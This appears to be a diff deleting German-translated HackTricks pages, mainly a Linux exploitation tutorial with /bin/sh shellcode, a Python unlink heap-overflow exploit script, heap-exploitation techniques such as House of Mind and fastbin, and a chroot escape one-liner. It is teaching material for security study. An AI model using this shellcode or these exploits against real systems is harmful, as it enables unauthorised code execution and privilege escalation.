Was es uns ermöglicht, **C15 zu berechnen**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
|
||||
Wenn wir **C15** kennen, ist es jetzt möglich, **C14 zu berechnen**, aber diesmal durch Brute-Forcing des Paddings `\x02\x02`.
|
||||
|
||||
Dieses BF ist so komplex wie das vorherige, da es möglich ist, das `E''15` zu berechnen, dessen Wert 0x02 ist: `E''7 = \x02 ^ I15`, sodass nur **`E'14`** gefunden werden muss, das ein **`C14` erzeugt, das gleich `0x02` ist**.\
|
||||
Dann die gleichen Schritte wiederholen, um C14 zu entschlüsseln: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
|
||||
**Folgen Sie dieser Kette, bis Sie den gesamten verschlüsselten Text entschlüsselt haben.**
|
||||
|
||||
## Erkennung der Schwachstelle
|
||||
|
||||
Registrieren Sie sich und melden Sie sich mit diesem Konto an.\
|
||||
Wenn Sie **mehrmals einloggen** und immer dasselbe **Cookie** erhalten, gibt es wahrscheinlich **etwas** **Falsches** in der Anwendung. Das **zurückgesendete Cookie sollte jedes Mal einzigartig sein**, wenn Sie sich anmelden. Wenn das Cookie **immer** dasselbe ist, wird es wahrscheinlich immer gültig sein und es **wird keinen Weg geben, es zu ungültig zu machen**.
|
||||
|
||||
Wenn Sie jetzt versuchen, das **Cookie zu modifizieren**, können Sie sehen, dass Sie einen **Fehler** von der Anwendung erhalten.\
|
||||
Aber wenn Sie das Padding brute-forcen (zum Beispiel mit Padbuster), schaffen Sie es, ein anderes Cookie zu erhalten, das für einen anderen Benutzer gültig ist. Dieses Szenario ist höchstwahrscheinlich anfällig für Padbuster.
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,15 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Wenn Sie auf irgendeine Weise einen Klartext mit RC4 verschlüsseln können, können Sie jeden Inhalt, der mit diesem RC4 verschlüsselt wurde (unter Verwendung des gleichen Passworts), nur mit der Verschlüsselungsfunktion entschlüsseln.
|
||||
|
||||
Wenn Sie einen bekannten Klartext verschlüsseln können, können Sie auch das Passwort extrahieren. Weitere Referenzen finden Sie in der HTB Kryptos-Maschine:
|
||||
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,9 +0,0 @@
|
||||
# E-Mail-Sicherheitsanfälligkeiten
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
##
|
||||
|
||||
##
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,540 +0,0 @@
|
||||
# Linux Exploiting (Basic) (SPA)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **2.SHELLCODE**
|
||||
|
||||
Ver Kernelunterbrechungen: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_”
|
||||
|
||||
setreuid(0,0); // \_\_NR_setreuid 70\
|
||||
execve(“/bin/sh”, args\[], NULL); // \_\_NR_execve 11\
|
||||
exit(0); // \_\_NR_exit 1
|
||||
|
||||
xor eax, eax ; wir löschen eax\
|
||||
xor ebx, ebx ; ebx = 0, da kein Argument übergeben wird\
|
||||
mov al, 0x01 ; eax = 1 —> \_\_NR_exit 1\
|
||||
int 0x80 ; Syscall ausführen
|
||||
|
||||
**nasm -f elf assembly.asm** —> Gibt uns ein .o zurück\
|
||||
**ld assembly.o -o shellcodeout** —> Gibt uns ein ausführbares Programm, das aus dem Assemblierungscode besteht, und wir können die Opcodes mit **objdump** extrahieren\
|
||||
**objdump -d -Mintel ./shellcodeout** —> Um zu sehen, dass es tatsächlich unsere Shellcode ist und die OpCodes zu extrahieren
|
||||
|
||||
**Überprüfen, ob die Shellcode funktioniert**
|
||||
```
|
||||
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
||||
|
||||
void main(){
|
||||
void (*fp) (void);
|
||||
fp = (void *)shellcode;
|
||||
fp();
|
||||
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||||
```
|
||||
Um zu sehen, dass die Systemaufrufe korrekt durchgeführt werden, muss das vorherige Programm kompiliert werden, und die Systemaufrufe sollten in **strace ./PROGRAMA_COMPILADO** erscheinen.
|
||||
|
||||
Beim Erstellen von Shellcodes kann ein Trick angewendet werden. Die erste Anweisung ist ein Sprung zu einem Aufruf. Der Aufruf ruft den ursprünglichen Code auf und legt außerdem die EIP auf den Stack. Nach der Anweisung call haben wir den benötigten String eingefügt, sodass wir mit diesem EIP auf den String verweisen und den Code weiterhin ausführen können.
|
||||
|
||||
EJ **TRICK (/bin/sh)**:
|
||||
```
|
||||
jmp 0x1f ; Salto al último call
|
||||
popl %esi ; Guardamos en ese la dirección al string
|
||||
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
|
||||
xorl %eax, %eax ; eax = NULL
|
||||
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
|
||||
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
|
||||
movl $0xb, %eax ; Syscall 11
|
||||
movl %esi, %ebx ; arg1=“/bin/sh”
|
||||
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
|
||||
leal 0xc(%esi), %edx ; arg3 = NULL
|
||||
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
|
||||
xorl %ebx, %ebx ; ebx = NULL
|
||||
movl %ebx, %eax
|
||||
inc %eax ; Syscall 1
|
||||
int $0x80 ; exit(0)
|
||||
call -0x24 ; Salto a la primera instrución
|
||||
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||||
```
|
||||
**EJ unter Verwendung des Stack(/bin/sh):**
|
||||
```
|
||||
section .text
|
||||
global _start
|
||||
_start:
|
||||
xor eax, eax ;Limpieza
|
||||
mov al, 0x46 ; Syscall 70
|
||||
xor ebx, ebx ; arg1 = 0
|
||||
xor ecx, ecx ; arg2 = 0
|
||||
int 0x80 ; setreuid(0,0)
|
||||
xor eax, eax ; eax = 0
|
||||
push eax ; “\0”
|
||||
push dword 0x68732f2f ; “//sh”
|
||||
push dword 0x6e69622f; “/bin”
|
||||
mov ebx, esp ; arg1 = “/bin//sh\0”
|
||||
push eax ; Null -> args[1]
|
||||
push ebx ; “/bin/sh\0” -> args[0]
|
||||
mov ecx, esp ; arg2 = args[]
|
||||
mov al, 0x0b ; Syscall 11
|
||||
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
|
||||
```
|
||||
**EJ FNSTENV:**
|
||||
```
|
||||
fabs
|
||||
fnstenv [esp-0x0c]
|
||||
pop eax ; Guarda el EIP en el que se ejecutó fabs
|
||||
…
|
||||
```
|
||||
**Egg Huter:**
|
||||
|
||||
Besteht aus einem kleinen Code, der die mit einem Prozess verbundenen Speicherseiten durchsucht, um die dort gespeicherte Shellcode zu finden (sucht nach einer Signatur, die in der Shellcode gesetzt ist). Nützlich in Fällen, in denen nur ein kleiner Raum zum Injizieren von Code zur Verfügung steht.
|
||||
|
||||
**Shellcodes polimórficos**
|
||||
|
||||
Bestehen aus verschlüsselten Shells, die einen kleinen Code enthalten, der sie entschlüsselt und zu ihnen springt, wobei der Call-Pop-Trick verwendet wird. Dies wäre ein **Beispiel für eine Caesar-Verschlüsselung**:
|
||||
```
|
||||
global _start
|
||||
_start:
|
||||
jmp short magic
|
||||
init:
|
||||
pop esi
|
||||
xor ecx, ecx
|
||||
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
|
||||
desc:
|
||||
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
|
||||
sub cl, 1
|
||||
jnz desc
|
||||
jmp short sc
|
||||
magic:
|
||||
call init
|
||||
sc:
|
||||
;Aquí va el shellcode
|
||||
```
|
||||
## **5. Ergänzende Methoden**
|
||||
|
||||
**Murat-Technik**
|
||||
|
||||
In Linux werden alle Programme ab 0xbfffffff gemappt.
|
||||
|
||||
Durch die Analyse, wie der Stack eines neuen Prozesses in Linux aufgebaut wird, kann ein Exploit entwickelt werden, sodass das Programm in einer Umgebung gestartet wird, deren einzige Variable die Shellcode ist. Die Adresse kann dann berechnet werden als: addr = 0xbfffffff - 4 - strlen(VOLLSTÄNDIGER_DATEINAME) - strlen(shellcode)
|
||||
|
||||
Auf diese Weise erhält man einfach die Adresse, an der sich die Umgebungsvariable mit der Shellcode befindet.
|
||||
|
||||
Dies ist möglich, weil die Funktion execle es erlaubt, eine Umgebung zu erstellen, die nur die gewünschten Umgebungsvariablen enthält.
|
||||
|
||||
##
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
### **Format Strings zu Buffer Overflows**
|
||||
|
||||
Die **sprintf**-Funktion verschiebt einen formatierten String **in** eine **Variable.** Daher könnte man die **Formatierung** eines Strings missbrauchen, um einen **Buffer Overflow in der Variable** zu verursachen, in die der Inhalt kopiert wird.\
|
||||
Zum Beispiel wird die Payload `%.44xAAAA` **44B+"AAAA" in die Variable schreiben**, was einen Buffer Overflow verursachen kann.
|
||||
|
||||
### **\_\_atexit-Strukturen**
|
||||
|
||||
> [!VORSICHT]
|
||||
> Heutzutage ist es sehr **seltsam, dies auszunutzen**.
|
||||
|
||||
**`atexit()`** ist eine Funktion, der **andere Funktionen als Parameter übergeben werden.** Diese **Funktionen** werden **ausgeführt**, wenn ein **`exit()`** oder die **Rückkehr** von **main** erfolgt.\
|
||||
Wenn Sie die **Adresse** einer dieser **Funktionen** so ändern können, dass sie auf eine Shellcode zeigt, gewinnen Sie die **Kontrolle** über den **Prozess**, aber das ist derzeit komplizierter.\
|
||||
Derzeit sind die **Adressen der auszuführenden Funktionen** hinter mehreren Strukturen **versteckt**, und schließlich sind die Adressen, auf die sie zeigen, nicht die Adressen der Funktionen, sondern sind **mit XOR** und Verschiebungen mit einem **zufälligen Schlüssel** verschlüsselt. Daher ist dieser Angriffsvektor derzeit **nicht sehr nützlich, zumindest nicht auf x86** und **x64_86**.\
|
||||
Die **Verschlüsselungsfunktion** ist **`PTR_MANGLE`**. **Andere Architekturen** wie m68k, mips32, mips64, aarch64, arm, hppa... **implementieren die Verschlüsselungs**-Funktion nicht, da sie **das gleiche zurückgibt**, was sie als Eingabe erhalten hat. Daher wären diese Architekturen durch diesen Vektor angreifbar.
|
||||
|
||||
### **setjmp() & longjmp()**
|
||||
|
||||
> [!VORSICHT]
|
||||
> Heutzutage ist es sehr **seltsam, dies auszunutzen**.
|
||||
|
||||
**`setjmp()`** ermöglicht es, den **Kontext** (die Register) zu **speichern**.\
|
||||
**`longjmp()`** ermöglicht es, den **Kontext** wiederherzustellen.\
|
||||
Die **gespeicherten Register** sind: `EBX, ESI, EDI, ESP, EIP, EBP`\
|
||||
Was passiert, ist, dass EIP und ESP durch die **`PTR_MANGLE`**-Funktion übergeben werden, sodass die **Architekturen, die anfällig für diesen Angriff sind, die gleichen wie oben sind**.\
|
||||
Sie sind nützlich für die Fehlerbehebung oder Unterbrechungen.\
|
||||
Allerdings, soweit ich gelesen habe, sind die anderen Register nicht geschützt, **so dass, wenn es einen `call ebx`, `call esi` oder `call edi`** innerhalb der aufgerufenen Funktion gibt, die Kontrolle übernommen werden kann. Oder Sie könnten auch EBP ändern, um ESP zu ändern.
|
||||
|
||||
**VTable und VPTR in C++**
|
||||
|
||||
Jede Klasse hat eine **Vtable**, die ein Array von **Zeigern auf Methoden** ist.
|
||||
|
||||
Jedes Objekt einer **Klasse** hat einen **VPtr**, der ein **Zeiger** auf das Array seiner Klasse ist. Der VPtr ist Teil des Headers jedes Objekts, sodass, wenn eine **Überschreibung** des **VPtr** erreicht wird, er **modifiziert** werden könnte, um auf eine Dummy-Methode zu **zeigen**, sodass die Ausführung einer Funktion zur Shellcode führt.
|
||||
|
||||
## **Präventive Maßnahmen und Umgehungen**
|
||||
|
||||
###
|
||||
|
||||
**Libsafe-Ersetzung**
|
||||
|
||||
Wird aktiviert mit: LD_PRELOAD=/lib/libsafe.so.2\
|
||||
oder\
|
||||
“/lib/libsave.so.2” > /etc/ld.so.preload
|
||||
|
||||
Es werden Aufrufe zu einigen unsicheren Funktionen durch sichere ersetzt. Es ist nicht standardisiert. (nur für x86, nicht für Kompilierungen mit -fomit-frame-pointer, keine statischen Kompilierungen, nicht alle anfälligen Funktionen werden sicher und LD_PRELOAD funktioniert nicht bei Binärdateien mit suid).
|
||||
|
||||
**ASCII Armored Address Space**
|
||||
|
||||
Es besteht darin, die gemeinsam genutzten Bibliotheken von 0x00000000 bis 0x00ffffff zu laden, damit immer ein Byte 0x00 vorhanden ist. Dies stoppt jedoch kaum einen Angriff, insbesondere nicht in Little Endian.
|
||||
|
||||
**ret2plt**
|
||||
|
||||
Es besteht darin, einen ROP durchzuführen, sodass die Funktion strcpy@plt (von der plt) aufgerufen wird und auf den Eintrag der GOT gezeigt wird, und das erste Byte der Funktion, die aufgerufen werden soll (system()), kopiert wird. Danach wird dasselbe gemacht, indem auf GOT+1 gezeigt wird und das 2. Byte von system() kopiert wird… Am Ende wird die Adresse aufgerufen, die in GOT gespeichert ist, die system() sein wird.
|
||||
|
||||
**Chroot-Käfige**
|
||||
|
||||
debootstrap -arch=i386 hardy /home/user —> Installiert ein grundlegendes System unter einem bestimmten Unterverzeichnis.
|
||||
|
||||
Ein Admin kann aus einem dieser Käfige herauskommen, indem er Folgendes macht: mkdir foo; chroot foo; cd ..
|
||||
|
||||
**Code-Instrumentierung**
|
||||
|
||||
Valgrind —> Sucht nach Fehlern\
|
||||
Memcheck\
|
||||
RAD (Return Address Defender)\
|
||||
Insure++
|
||||
|
||||
## **8 Heap Overflows: Grundlegende Exploits**
|
||||
|
||||
**Zugewiesenes Stück**
|
||||
|
||||
prev_size |\
|
||||
size | —Kopf\
|
||||
\*mem | Daten
|
||||
|
||||
**Freies Stück**
|
||||
|
||||
prev_size |\
|
||||
size |\
|
||||
\*fd | Ptr forward chunk\
|
||||
\*bk | Ptr back chunk —Kopf\
|
||||
\*mem | Daten
|
||||
|
||||
Freie Stücke befinden sich in einer doppelt verketteten Liste (bin) und es kann niemals zwei freie Stücke nebeneinander geben (sie werden zusammengeführt).
|
||||
|
||||
In “size” gibt es Bits, um anzuzeigen: Ob das vorherige Stück in Benutzung ist, ob das Stück durch mmap() zugewiesen wurde und ob das Stück zur primären Arena gehört.
|
||||
|
||||
Wenn beim Freigeben eines Stücks eines der benachbarten Stücke frei ist, werden diese durch die Macro unlink() zusammengeführt und das neue größere Stück wird an frontlink() übergeben, um das geeignete bin einzufügen.
|
||||
|
||||
unlink(){\
|
||||
BK = P->bk; —> Der BK des neuen Stücks ist der, den das vorherige freie Stück hatte\
|
||||
FD = P->fd; —> Der FD des neuen Stücks ist der, den das vorherige freie Stück hatte\
|
||||
FD->bk = BK; —> Der BK des nächsten Stücks zeigt auf das neue Stück\
|
||||
BK->fd = FD; —> Der FD des vorherigen Stücks zeigt auf das neue Stück\
|
||||
}
|
||||
|
||||
Daher, wenn es gelingt, P->bk mit der Adresse einer Shellcode und P->fd mit der Adresse eines Eintrags in der GOT oder DTORS minus 12 zu ändern, wird erreicht:
|
||||
|
||||
BK = P->bk = \&shellcode\
|
||||
FD = P->fd = &\_\_dtor_end\_\_ - 12\
|
||||
FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode
|
||||
|
||||
Und so wird die Shellcode beim Verlassen des Programms ausgeführt.
|
||||
|
||||
Außerdem schreibt die 4. Anweisung von unlink() etwas, und die Shellcode muss dafür repariert werden:
|
||||
|
||||
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Dies verursacht das Schreiben von 4 Bytes ab dem 8. Byte der Shellcode, sodass die erste Anweisung der Shellcode ein jmp sein muss, um dies zu überspringen und in einige NOPs zu fallen, die zum Rest der Shellcode führen.
|
||||
|
||||
Daher wird der Exploit erstellt:
|
||||
|
||||
Im buffer1 fügen wir die Shellcode ein, beginnend mit einem jmp, damit sie in die NOPs oder in den Rest der Shellcode fällt.
|
||||
|
||||
Nach der Shellcode fügen wir Füllmaterial ein, bis wir das Feld prev_size und size des nächsten Stücks erreichen. An diesen Stellen fügen wir 0xfffffff0 ein (so dass prev_size überschrieben wird, um das Bit zu haben, das angibt, dass es frei ist) und “-4“(0xfffffffc) in die size (damit, wenn überprüft wird, ob das 3. Stück tatsächlich frei ist, es zum modifizierten prev_size geht, das ihm sagt, dass es frei ist) -> So wird free() untersuchen und zur size des 3. Stücks gehen, aber tatsächlich zum 2. - 4 und denken, dass das 2. Stück frei ist. Und dann wird **unlink()** aufgerufen.
|
||||
|
||||
Beim Aufruf von unlink() wird als P->fd die ersten Daten des 2. Stücks verwendet, sodass dort die Adresse, die überschrieben werden soll - 12 (da in FD->bk 12 zur gespeicherten Adresse in FD addiert wird) eingegeben wird. Und an dieser Adresse wird die zweite Adresse, die im 2. Stück gefunden wird, eingegeben, die wir möchten, dass sie die Adresse zur Shellcode ist (falsches P->bk).
|
||||
|
||||
**from struct import \***
|
||||
|
||||
**import os**
|
||||
|
||||
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 Bytes Füllmaterial**
|
||||
|
||||
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||||
|
||||
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
|
||||
|
||||
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
||||
|
||||
**prev_size = pack("\<I”, 0xfffffff0) #Es ist wichtig, dass das Bit, das angibt, dass das vorherige Stück frei ist, auf 1 gesetzt ist**
|
||||
|
||||
**fake_size = pack("\<I”, 0xfffffffc) #-4, damit es denkt, dass die “size” des 3. Stücks 4 Bytes hinter (zeigt auf prev_size) ist, denn dort wird überprüft, ob das 2. Stück frei ist**
|
||||
|
||||
**addr_sc = pack("\<I", 0x0804a008 + 8) #Im Payload fügen wir am Anfang 8 Bytes Füllmaterial hinzu**
|
||||
|
||||
**got_free = pack("\<I", 0x08048300 - 12) #Adresse von free() in der plt-12 (das wird die Adresse sein, die überschrieben wird, damit die Shellcode beim 2. Mal, wenn free aufgerufen wird, ausgeführt wird)**
|
||||
|
||||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Wie gesagt, beginnt der Payload mit 8 Bytes Füllmaterial, weil ja**
|
||||
|
||||
**payload += prev_size + fake_size + got_free + addr_sc #Das 2. Stück wird modifiziert, got_free zeigt auf die Adresse, an der wir die Adresse addr_sc + 12 speichern werden**
|
||||
|
||||
**os.system("./8.3.o " + payload)**
|
||||
|
||||
**unset() freigeben in umgekehrter Reihenfolge (Wargame)**
|
||||
|
||||
Wir kontrollieren 3 aufeinanderfolgende Stücke und sie werden in umgekehrter Reihenfolge freigegeben.
|
||||
|
||||
In diesem Fall:
|
||||
|
||||
Im Stück c wird die Shellcode platziert.
|
||||
|
||||
Das Stück a verwenden wir, um das b zu überschreiben, sodass die size das Bit PREV_INUSE deaktiviert hat, damit es denkt, dass das Stück a frei ist.
|
||||
|
||||
Außerdem wird in der Kopfzeile b die size so geändert, dass sie -4 beträgt.
|
||||
|
||||
Dann wird das Programm denken, dass “a” frei ist und in einem bin ist, sodass es unlink() aufruft, um es zu entkoppeln. Wenn jedoch die Kopfzeile PREV_SIZE -4 beträgt, wird es denken, dass das Stück “a” tatsächlich bei b+4 beginnt. Das heißt, es wird ein unlink() zu einem Stück aufrufen, das bei b+4 beginnt, sodass bei b+12 der Zeiger “fd” und bei b+16 der Zeiger “bk” sein wird.
|
||||
|
||||
Auf diese Weise, wenn wir in bk die Adresse zur Shellcode und in fd die Adresse zur Funktion “puts()”-12 setzen, haben wir unser Payload.
|
||||
|
||||
**Frontlink-Technik**
|
||||
|
||||
Es wird Frontlink genannt, wenn etwas freigegeben wird und keines seiner benachbarten Stücke frei ist, es wird nicht unlink() aufgerufen, sondern direkt frontlink().
|
||||
|
||||
Nützliche Verwundbarkeit, wenn der malloc, der angegriffen wird, niemals freigegeben wird (free()).
|
||||
|
||||
Benötigt:
|
||||
|
||||
Ein Buffer, der mit der Eingabefunktion überlaufen kann.
|
||||
|
||||
Ein Buffer, der benachbart zu diesem ist und freigegeben werden muss, und dessen fd-Feld in seinem Kopf durch den Überlauf des vorherigen Buffers modifiziert wird.
|
||||
|
||||
Ein Buffer, der freigegeben werden soll, mit einer Größe größer als 512, aber kleiner als der vorherige Buffer.
|
||||
|
||||
Ein Buffer, der vor Schritt 3 deklariert wird, der es ermöglicht, prev_size zu überschreiben.
|
||||
|
||||
Auf diese Weise, indem wir in zwei mallocs unkontrolliert und in einem kontrolliert überschreiben, aber nur dieses eine freigeben, können wir einen Exploit durchführen.
|
||||
|
||||
**Double free()-Verwundbarkeit**
|
||||
|
||||
Wenn free() zweimal mit demselben Zeiger aufgerufen wird, zeigen zwei bins auf dieselbe Adresse.
|
||||
|
||||
Wenn einer wiederverwendet werden soll, wird er problemlos zugewiesen. Wenn ein anderer verwendet werden soll, wird ihm derselbe Speicher zugewiesen, sodass wir die Zeiger “fd” und “bk” mit den Daten, die die vorherige Zuweisung schreiben wird, gefälscht haben.
|
||||
|
||||
**Nach free()**
|
||||
|
||||
Ein zuvor freigegebener Zeiger wird ohne Kontrolle erneut verwendet.
|
||||
|
||||
## **8 Heap Overflows: Fortgeschrittene Exploits**
|
||||
|
||||
Die Techniken Unlink() und FrontLink() wurden entfernt, indem die unlink()-Funktion modifiziert wurde.
|
||||
|
||||
**The house of mind**
|
||||
|
||||
Nur ein Aufruf von free() ist erforderlich, um die Ausführung von beliebigem Code zu provozieren. Es ist wichtig, ein zweites Stück zu suchen, das durch ein vorheriges überlaufen werden kann und freigegeben wird.
|
||||
|
||||
Ein Aufruf von free() führt dazu, dass public_fREe(mem) aufgerufen wird, dies macht:
|
||||
|
||||
mstate ar_ptr;
|
||||
|
||||
mchunkptr p;
|
||||
|
||||
…
|
||||
|
||||
p = mem2chunk(mem); —> Gibt einen Zeiger auf die Adresse zurück, an der das Stück beginnt (mem-8)
|
||||
|
||||
…
|
||||
|
||||
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1]
|
||||
|
||||
…
|
||||
|
||||
\_int_free(ar_ptr, mem);
|
||||
|
||||
}
|
||||
|
||||
In \[1] überprüft es das Feld size das Bit NON_MAIN_ARENA, das so verändert werden kann, dass die Überprüfung true zurückgibt und heap_for_ptr() aufgerufen wird, das ein AND auf “mem” anwendet und die 2,5 am wenigsten signifikanten Bytes auf 0 setzt (in unserem Fall von 0x0804a000 auf 0x08000000) und auf 0x08000000->ar_ptr zugreift (als ob es sich um eine Struktur heap_info handelt).
|
||||
|
||||
Auf diese Weise, wenn wir ein Stück beispielsweise bei 0x0804a000 kontrollieren können und ein Stück bei **0x081002a0** freigegeben wird, können wir die Adresse 0x08100000 erreichen und schreiben, was wir wollen, zum Beispiel **0x0804a000**. Wenn dieses zweite Stück freigegeben wird, wird festgestellt, dass heap_for_ptr(ptr)->ar_ptr das zurückgibt, was wir in 0x08100000 geschrieben haben (da das AND, das wir zuvor gesehen haben, auf 0x081002a0 angewendet wird und von dort der Wert der ersten 4 Bytes, der ar_ptr, abgeleitet wird).
|
||||
|
||||
Auf diese Weise wird \_int_free(ar_ptr, mem) aufgerufen, d.h. **\_int_free(0x0804a000, 0x081002a0)**\
|
||||
**\_int_free(mstate av, Void_t\* mem){**\
|
||||
…\
|
||||
bck = unsorted_chunks(av);\
|
||||
fwd = bck->fd;\
|
||||
p->bk = bck;\
|
||||
p->fd = fwd;\
|
||||
bck->fd = p;\
|
||||
fwd->bk = p;
|
||||
|
||||
..}
|
||||
|
||||
Wie wir zuvor gesehen haben, können wir den Wert von av kontrollieren, da es das ist, was wir im Stück, das freigegeben werden soll, geschrieben haben.
|
||||
|
||||
So wie unsorted_chunks definiert ist, wissen wir, dass:\
|
||||
bck = \&av->bins\[2]-8;\
|
||||
fwd = bck->fd = \*(av->bins\[2]);\
|
||||
fwd->bk = \*(av->bins\[2] + 12) = p;
|
||||
|
||||
Daher müssen wir in av->bins\[2] zu Beginn viele Male die Adresse von \_\_DTOR_END\_\_-12 setzen, denn von dort wird av->bins\[2] es holen.
|
||||
|
||||
An der Adresse, an der die Adresse des zweiten Stücks mit den letzten 5 Nullen fällt, muss die Adresse dieses ersten Stücks geschrieben werden, damit heap_for_ptr() denkt, dass der ar_ptr am Anfang des ersten Stücks ist und av->bins\[2] von dort abgeleitet wird.
|
||||
|
||||
Im zweiten Stück und dank des ersten überschreiben wir prev_size mit einem jump 0x0c und die size mit etwas, um -> NON_MAIN_ARENA zu aktivieren.
|
||||
|
||||
Dann setzen wir im Stück 2 eine Menge NOPs und schließlich die Shellcode.
|
||||
|
||||
Auf diese Weise wird \_int_free(TROZO1, TROZO2) aufgerufen und die Anweisungen befolgen, um in \_\_DTOR_END\_\_ die Adresse des prev_size des TROZO2 zu schreiben, die zur Shellcode springt.
|
||||
|
||||
Um diese Technik anzuwenden, müssen einige weitere Anforderungen erfüllt sein, die das Payload etwas komplizierter machen.
|
||||
|
||||
Diese Technik ist nicht mehr anwendbar, da fast dasselbe Patch wie für unlink angewendet wurde. Es wird überprüft, ob die neue Adresse, auf die verwiesen wird, auch auf sie verweist.
|
||||
|
||||
**Fastbin**
|
||||
|
||||
Es ist eine Variante von The house of mind.
|
||||
|
||||
Es ist wichtig, den folgenden Code auszuführen, der nach der ersten Überprüfung der Funktion \_int_free() erreicht wird:
|
||||
|
||||
fb = &(av->fastbins\[fastbin_index(size)] —> wobei fastbin_index(sz) —> (sz >> 3) - 2
|
||||
|
||||
…
|
||||
|
||||
p->fd = \*fb
|
||||
|
||||
\*fb = p
|
||||
|
||||
Auf diese Weise, wenn in “fb” die Adresse einer Funktion in der GOT angegeben wird, wird an dieser Adresse die Adresse des überschriebenen Stücks gesetzt. Dazu muss die Arena in der Nähe der Adressen von dtors sein. Genauer gesagt, muss av->max_fast an der Adresse sein, die wir überschreiben werden.
|
||||
|
||||
Da wir mit The House of Mind gesehen haben, dass wir die Position von av kontrollieren konnten.
|
||||
|
||||
Wenn wir also im Feld size eine Größe von 8 + NON_MAIN_ARENA + PREV_INUSE setzen —> fastbin_index() gibt uns fastbins\[-1] zurück, das auf av->max_fast zeigt.
|
||||
|
||||
In diesem Fall wird av->max_fast die Adresse sein, die überschrieben wird (nicht die, auf die verwiesen wird, sondern diese Position wird überschrieben).
|
||||
|
||||
Außerdem muss sichergestellt werden, dass das benachbarte Stück zum freigegebenen größer als 8 ist -> Da wir gesagt haben, dass die size des freigegebenen Stücks 8 ist, müssen wir in diesem falschen Stück nur eine size größer als 8 setzen (da die Shellcode im freigegebenen Stück sein wird, muss am Anfang ein jmp gesetzt werden, der in NOPs fällt).
|
||||
|
||||
Außerdem muss dieses falsche Stück kleiner als av->system_mem sein. av->system_mem befindet sich 1848 Bytes weiter.
|
||||
|
||||
Wegen der Nullen von \_DTOR_END\_ und der wenigen Adressen in der GOT sind keine Adressen dieser Abschnitte zum Überschreiben geeignet, also sehen wir, wie wir fastbin anwenden können, um den Stack anzugreifen.
|
||||
|
||||
Eine andere Angriffsform besteht darin, **av** auf den Stack umzuleiten.
|
||||
|
||||
Wenn wir die size so ändern, dass sie 16 anstelle von 8 beträgt, dann: fastbin_index() gibt uns fastbins\[0] zurück und wir können dies nutzen, um den Stack zu überschreiben.
|
||||
|
||||
Dazu darf es keinen Canary oder seltsame Werte im Stack geben, tatsächlich müssen wir uns in diesem befinden: 4 Nullbytes + EBP + RET.
|
||||
|
||||
Die 4 Nullbytes sind erforderlich, damit **av** an dieser Adresse ist und das erste Element eines **av** der Mutex ist, der 0 sein muss.
|
||||
|
||||
Der **av->max_fast** wird das EBP sein und ein Wert, der uns helfen wird, die Einschränkungen zu umgehen.
|
||||
|
||||
In **av->fastbins\[0]** wird mit der Adresse von **p** überschrieben und es wird das RET sein, sodass zur Shellcode gesprungen wird.
|
||||
|
||||
Außerdem wird in **av->system_mem** (1484 Bytes über der Position im Stack) viel Müll sein, der uns helfen wird, die Überprüfung zu umgehen, die durchgeführt wird.
|
||||
|
||||
Außerdem muss sichergestellt werden, dass das benachbarte Stück zum freigegebenen größer als 8 ist -> Da wir gesagt haben, dass die size des freigegebenen Stücks 16 ist, müssen wir in diesem falschen Stück nur eine size größer als 8 setzen (da die Shellcode im freigegebenen Stück sein wird, muss am Anfang ein jmp gesetzt werden, der in NOPs fällt, die nach dem size-Feld des neuen falschen Stücks kommen).
|
||||
|
||||
**The House of Spirit**
|
||||
|
||||
In diesem Fall suchen wir einen Zeiger auf einen malloc, der vom Angreifer verändert werden kann (z.B. dass der Zeiger im Stack unter einem möglichen Überlauf auf eine Variable liegt).
|
||||
|
||||
